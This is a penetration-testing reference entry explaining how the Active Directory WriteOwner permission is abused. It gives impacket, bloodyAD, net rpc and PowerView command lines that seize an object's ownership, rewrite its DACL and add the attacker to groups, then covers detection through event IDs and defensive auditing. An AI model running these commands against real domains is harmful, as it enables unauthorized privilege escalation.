WriteOwner

WriteOwner is an Active Directory ACE that lets you change the owner of an object (user, group or computer). On its own it grants no control over the object, but an object's owner can always rewrite its DACL, so WriteOwner is, in practice, a two-step path to full control. It is a recurring piece of ACL abuse that BloodHound detects over LDAP.

How it is abused. The classic chain with the modern impacket tools:

owneredit.py -action write -new-owner <attacker> -target <object> <domain>/<attacker>:<pass>
dacledit.py -action write -rights WriteMembers -principal <attacker> -target-dn <DN> <domain>/<attacker>:<pass>

1. owneredit makes us owner of the object.
2. dacledit leverages that ownership to add an ACE granting whatever we need: on a group, WriteMembers (to then add ourselves with net rpc group addmem); on a user, FullControl (which opens Shadow Credentials, password reset or GenericWrite).

The same chain with bloodyAD (Linux) or PowerView (Windows):

bloodyAD -d <domain> -u <attacker> -p <pass> --host <dc> set owner <object> <attacker>
bloodyAD -d <domain> -u <attacker> -p <pass> --host <dc> add genericAll <object> <attacker>
net rpc group addmem "<group>" <attacker> -U '<domain>/<attacker>%<pass>' -S <dc>

Set-DomainObjectOwner -Identity <object> -OwnerIdentity <attacker>
Add-DomainObjectAcl -TargetIdentity <object> -PrincipalIdentity <attacker> -Rights WriteMembers
Add-DomainGroupMember -Identity "<group>" -Members <attacker>

Verification. After the abuse, check the new state instead of assuming it: list the group members (net rpc group members) or query the DACL with PowerView. The check is the proof the permission applied.

How to detect it. The two steps leave distinct traces. Changing the owner and rewriting the DACL each generate an Event ID 5136 (a directory service object was modified): the first alters the Owner field of the security descriptor, the second adds a new ACE. Both require Audit Directory Service Changes with a SACL on the object. It is a highly unusual sequence in normal operation (nobody changes a group's owner just to grant themselves permissions), so a 5136 of type Owner followed by another adding an ACE on the same object, from a low-privilege user, is a clear signature. The follow-up action (adding yourself to the group) shows up as 4728/4732/4756.

Defence. Review who owns sensitive groups and accounts, and remove WriteOwner ACEs inherited or granted to low-privilege users. BloodHound and Get-ADGroup -Properties nTSecurityDescriptor help audit them. An object's owner is as dangerous as whoever has full control over it.